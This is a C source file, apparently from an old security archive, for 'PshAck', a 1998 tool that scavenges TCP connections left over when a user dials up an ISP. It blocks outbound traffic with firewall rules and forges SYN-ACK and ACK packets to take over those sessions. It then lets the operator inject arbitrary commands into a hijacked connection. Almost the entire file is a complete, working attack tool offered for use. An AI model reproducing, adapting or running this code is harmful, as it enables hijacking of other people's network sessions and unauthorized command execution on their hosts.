home *** CD-ROM | disk | FTP | other *** search
- /* - PshAck.c - Attempts to scavenge connections when you dial up an ISP.
- * Author: Seth McGann <smm@wpi.edu> / www.el8.org (Check papers section)
- * Date: 11/29/98
- * Greets: dmess0r,napster,awr,all things w00w00,#203
- * Version: 0.3
- *
- * Usage:
- * 1. Dial up your ISP and start pshack up.
- * 2. If you are lucky you will see connections you did not
- * make :)
- * 3. Repeat the procedure.
- * Options:
- * -i: The interface
- * -l: Link offset
- * -s: Your source IP
- *
- * Compiling: 'gcc pshack.c -o pshack -lnet -lpcap' should work given you have
- * libpcap and Libnet installed properly.
- *
- * libpcap 0.4 : ftp://ftp.ee.lbl.gov/libpcap.tar.Z
- * Libnet 0.8b: http://www.infonexus.com/~daemon9/Projects/Libnet/
- *
- * Have fun!
- */
-
- #define __BSD_SOURCE
- #include <netinet/udp.h>
- #define __FAVOR_BSD
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <syslog.h>
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <net/if.h>
- #include <libnet.h>
- #include <pcap.h>
- #include <netinet/ip_fw.h>
- #include <setjmp.h>
-
- /* #define DEBUGIT */
-
- #ifdef DEBUGIT
- #define DEFAULT_INTERFACE "eth1"
- #define DEFAULT_OFFSET 14
- #else
- #define DEFAULT_INTERFACE "ppp0" /* Default is PPP with no linklayer */
- #define DEFAULT_OFFSET 0
- #endif
-
- struct conn {
- u_int type;
- u_long src,dst,seq,ack;
- u_short sport,dport;
- };
-
- void clean_exit(int);
- void time_out(int);
- void usage(char *);
- void dump_packet( u_char *, int );
- int update_db( u_char *, int, struct conn*);
- void dump_db (struct conn*);
-
- char errbuf[2000];
- sigjmp_buf env;
-
-
-
- int
- main (int argc, char **argv) {
-
- struct ip *ip_hdr;
- struct tcphdr *tcp_hdr;
- struct udphdr *udp_hdr;
- struct ip_fw fw;
- struct ifreq ifinfo;
- struct pcap_pkthdr ph;
- pcap_t *pd;
- u_long local=0,seq,ack;
- u_short flags=0;
- u_char *d_ptr,*packet;
- u_char *pbuf=malloc(TCP_H+IP_H+500);
- char iface[17],sendbuf[500];
- int osock,sfd,linkoff,i,datalen,newsize,dbsize=0;
- struct conn conn[100]; /* WAY more than enough */
- char arg;
- fd_set rfds;
- struct timeval tv;
- int retval;
- char user[500];
-
-
- strcpy(iface,DEFAULT_INTERFACE);
- linkoff=DEFAULT_OFFSET;
-
- while((arg = getopt(argc,argv,"i:s:l:")) != EOF){
- switch(arg) {
- case 's':
- local=inet_addr(optarg);
- break;
- case 'i':
- strncpy(iface,optarg,16);
- break;
- case 'l':
- linkoff=atoi(optarg);
- break;
- default:
- usage(argv[0]);
- break;
- }
- }
-
- printf("* Blocking till %s comes up *\n",iface);
-
- do {pd=pcap_open_live(iface,1500,0,500,errbuf);}while(!pd);
-
- printf("* Configuring Raw Output *\n");
- osock=open_raw_sock(IPPROTO_RAW);
- if (osock<0)perror("socket()"),exit(1);
- strcpy(ifinfo.ifr_ifrn.ifrn_name,iface);
- if(ioctl(osock,SIOCGIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1);
- if(ioctl(osock,SIOCSIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1);
- if(ioctl(osock,SIOCGIFADDR,&ifinfo)<0)perror("ioctl()"),exit(1);
-
- bcopy(&ifinfo.ifr_addr.sa_data[2],&local,4);
- printf("* Address: %s\n",host_lookup(local,0));
-
- printf("* Blocking Outbound on %s *\n",iface);
- sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
- if(sfd<0) perror("socket()"),exit(1);
-
- bzero(&fw,sizeof(fw));
- strcpy(fw.fw_vianame,iface);
- #ifdef DEBUGIT
- fw.fw_flg=IP_FW_F_ICMP;
- if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0)
- perror("setsockopt()"),exit(1);
- fw.fw_flg=IP_FW_F_TCP;
- fw.fw_nsp=1;
- fw.fw_pts[0]=666;
- #endif
- if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0)
- perror("setsockopt()"),exit(1);
-
- signal(SIGTERM,clean_exit);
- signal(SIGINT,clean_exit);
- signal(SIGALRM,time_out);
-
- printf("* Entering Capture Loop *\n\n");
- printf("* Commands [1] Dump databese\n"
- " [2] Send on connection <n> Ex: 2 1 ls -al\n"
- " [3] Exit\n\n");
- sigsetjmp(env,1);
-
- FD_ZERO(&rfds);
- FD_SET(0, &rfds);
- tv.tv_sec = 0;
- tv.tv_usec = 0;
-
- retval = select(1, &rfds, NULL, NULL, &tv);
-
- if (retval) {
- retval=read(1,user,sizeof(user));
- user[retval]=0;
- switch(user[0]) {
- case '1':
- dump_db(conn);
- break;
- case '2':
- i=atoi(&user[2]);
- if (i > dbsize) {
- printf("* Invalid connection index) *\n");
- break;
- }
- build_ip(TCP_H,
- 101,
- 0,
- IP_DF,
- 128,
- IPPROTO_TCP,
- local,
- htonl(conn[i].src),
- NULL, 0, pbuf);
-
- build_tcp(conn[i].dport,
- conn[i].sport,
- conn[i].seq,
- conn[i].ack,
- TH_PUSH|TH_ACK, 31000, 0,user+4,strlen(user+4),
- pbuf + IP_H);
-
- do_checksum(pbuf, IPPROTO_TCP, TCP_H+strlen(user+4));
- setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
- write_ip(osock, pbuf, TCP_H + IP_H + strlen(user+4));
- setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));
-
- printf("Sent: %s\n",user+4);
- break;
- case '3':
- clean_exit(1);
- break;
- default:
- break;
- }
- }
- alarm(1);
-
- for(;packet=pcap_next(pd,&ph);) {
-
- ip_hdr = (struct ip *)(packet + linkoff);
-
- switch(ip_hdr->ip_p) {
-
- case IPPROTO_TCP:
- tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
- dump_packet(packet,linkoff);
- #ifdef DEBUGIT
- if ((ntohl(ip_hdr->ip_src.s_addr) != local) &&
- ntohs(tcp_hdr->th_dport)==666) {
- #else
- if (ntohl(ip_hdr->ip_src.s_addr) != local) {
- #endif
- newsize=update_db(packet, linkoff, conn);
-
- if(newsize>dbsize) {
- printf("New Connect:\n");
- dbsize=newsize;}
-
- if (tcp_hdr->th_flags&TH_PUSH || (tcp_hdr->th_flags&TH_SYN &&
- tcp_hdr->th_flags&TH_ACK)) {
- datalen=ntohs(ip_hdr->ip_len)-IP_H-TCP_H;
- if(!datalen) datalen++;
-
- seq=ntohl(tcp_hdr->th_ack);
- ack=ntohl(tcp_hdr->th_seq)+datalen;
- flags=TH_ACK;
- } else if(tcp_hdr->th_flags&TH_SYN) {
- seq=get_prand(PRu32);
- ack=ntohl(tcp_hdr->th_seq)+1;
- flags=TH_SYN|TH_ACK;
- }
-
- if(flags) {
- build_ip(TCP_H,
- 101,
- 0,
- IP_DF,
- 128,
- IPPROTO_TCP,
- local,
- ip_hdr->ip_src.s_addr,
- NULL, 0, pbuf);
-
- build_tcp(ntohs(tcp_hdr->th_dport),
- ntohs(tcp_hdr->th_sport),
- seq,
- ack,
- flags, 31000, 0, NULL, 0, pbuf + IP_H);
-
- do_checksum(pbuf, IPPROTO_TCP, TCP_H);
- setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
- write_ip(osock, pbuf, TCP_H + IP_H);
- setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));
- flags=0; }
- }
- break;
-
- case IPPROTO_UDP:
- dump_packet(packet,linkoff);
- break;
- default:
- break;
- }
- }
-
- }
-
-
- void
- dump_packet( u_char *packet, int linkoff ) {
-
- struct ip *ip_hdr;
- struct tcphdr *tcp_hdr;
- struct udphdr *udp_hdr;
- u_char *d_ptr;
- u_int i;
-
- ip_hdr = (struct ip *)(packet + linkoff);
-
- switch (ip_hdr->ip_p) {
-
- case IPPROTO_TCP:
- tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
-
- printf("********************\n");
- printf("TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n "
- "Flags: %c%c%c%c%c%c Data Len: %d\n",
- host_lookup(ip_hdr->ip_src.s_addr,0),
- ntohs(tcp_hdr->th_sport),
- host_lookup(ip_hdr->ip_dst.s_addr,0),
- ntohs(tcp_hdr->th_dport),
- ntohl(tcp_hdr->th_seq),
- ntohl(tcp_hdr->th_ack),
- (tcp_hdr->th_flags & TH_URG) ? 'U' : '-',
- (tcp_hdr->th_flags & TH_ACK) ? 'A' : '-',
- (tcp_hdr->th_flags & TH_PUSH) ? 'P' : '-',
- (tcp_hdr->th_flags & TH_RST) ? 'R' : '-',
- (tcp_hdr->th_flags & TH_SYN) ? 'S' : '-',
- (tcp_hdr->th_flags & TH_FIN) ? 'F' : '-',
- ntohs(ip_hdr->ip_len)-IP_H-TCP_H);
-
- d_ptr=packet+linkoff+TCP_H+IP_H;
-
- for(i=0;i<(ntohs(ip_hdr->ip_len)-IP_H-TCP_H);i++)
- if (d_ptr[i]=='\n')
- printf("\n");
- else if (d_ptr[i]>0x1F && d_ptr[i]<0x7F)
- printf("%c",d_ptr[i]);
- else
- printf (".");
-
- printf("\n");
- break;
-
- case IPPROTO_UDP:
-
- udp_hdr=(struct udphdr*)(((char*)ip_hdr) + (4 * ip_hdr->ip_hl));
- printf("********************\n");
- printf("UDP: %s.%d->%s.%d Data Len: %d\n",
- host_lookup(ip_hdr->ip_src.s_addr,0),
- ntohs(udp_hdr->uh_sport),
- host_lookup(ip_hdr->ip_dst.s_addr,0),
- ntohs(udp_hdr->uh_dport),
- ntohs(ip_hdr->ip_len)-IP_H-UDP_H);
-
- d_ptr=packet+linkoff+UDP_H+IP_H;
- for(i=0;i<(ntohs(udp_hdr->uh_ulen)-UDP_H);i++)
- if (d_ptr[i]=='\n')
- printf("\n");
- else if (d_ptr[i]>0x19 && d_ptr[i]<0x7F)
- printf("%c",d_ptr[i]);
- else
- printf(".");
-
- printf("\n");
- break;
-
- default:
- /* We ignore everything else */
- break;
- }
-
- }
-
- void
- clean_exit(int val) {
-
- int sfd,p=0;
-
- sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
- if (sfd<0) perror("socket()"),exit(1);
- if(setsockopt(sfd,IPPROTO_IP,IP_FW_FLUSH_OUT,&p,sizeof(p))<0)
- perror("setsockopt()"),exit(1);
- exit(0);
- }
-
-
- void
- usage(char *arg) {
- printf("%s: [options]\n"
- " -i: The interface\n"
- " -l: Link offset\n"
- " -s: Your source IP\n\n",arg);
- exit(0);
- }
-
- void
- dump_db (struct conn *conn) {
-
- int i;
-
-
- for(i=0;conn[i].type;i++)
- if(conn[i].type==IPPROTO_TCP)
- printf("%d: TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n",
- i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
- host_lookup(htonl(conn[i].dst),0), conn[i].dport,
- conn[i].seq,conn[i].ack);
- else if(conn[i].type==IPPROTO_UDP)
- printf("%d: UDP: %s.%d->%s.%d\n",
- i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
- host_lookup(htonl(conn[i].dst),0), conn[i].dport);
- else break;
-
-
- }
-
-
- int
- update_db( u_char *packet, int linkoff, struct conn *conn) {
- struct ip *ip_hdr;
- struct tcphdr *tcp_hdr;
- struct udphdr *udp_hdr;
- int i=0;
- ip_hdr = (struct ip *)(packet + linkoff);
-
- switch(ip_hdr->ip_p) {
-
- case IPPROTO_TCP:
- tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
-
- for(i=0;conn[i].type;i++)
- if(conn[i].type==IPPROTO_TCP)
- if(ip_hdr->ip_src.s_addr==htonl(conn[i].src))
- if(ip_hdr->ip_dst.s_addr==htonl(conn[i].dst))
- if(ntohs(tcp_hdr->th_sport)==conn[i].sport)
- if(ntohs(tcp_hdr->th_dport)==conn[i].dport)
- break;
-
- if(conn[i].type) {
- conn[i].seq=ntohl(tcp_hdr->th_ack);
- conn[i].ack=ntohl(tcp_hdr->th_seq); }
- else {
- conn[i].type=IPPROTO_TCP;
- conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
- conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
- conn[i].sport=ntohs(tcp_hdr->th_sport);
- conn[i].dport=ntohs(tcp_hdr->th_dport);
- conn[i].seq=ntohl(tcp_hdr->th_ack);
- conn[i].ack=ntohl(tcp_hdr->th_seq); }
-
- break;
-
- case IPPROTO_UDP:
- udp_hdr=(struct udphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
-
- for(i=0;conn[i].type;i++)
- if(conn[i].type==IPPROTO_TCP)
- if(ntohl(ip_hdr->ip_src.s_addr)==conn[i].src)
- if(ntohl(ip_hdr->ip_dst.s_addr)==conn[i].dst)
- if(ntohs(udp_hdr->uh_sport)==conn[i].sport)
- if(ntohs(udp_hdr->uh_dport)==conn[i].dport) break;
-
- if(!conn[i].type) {
- conn[i].type=IPPROTO_UDP;
- conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
- conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
- conn[i].sport=ntohs(udp_hdr->uh_sport);
- conn[i].dport=ntohs(udp_hdr->uh_dport); }
-
- break;
- default:
- /* We Don't care */
- break;
- }
- return i;
-
- }
-
- void
- time_out(int blank) {
- alarm(0);
- siglongjmp(env,1);
- }
-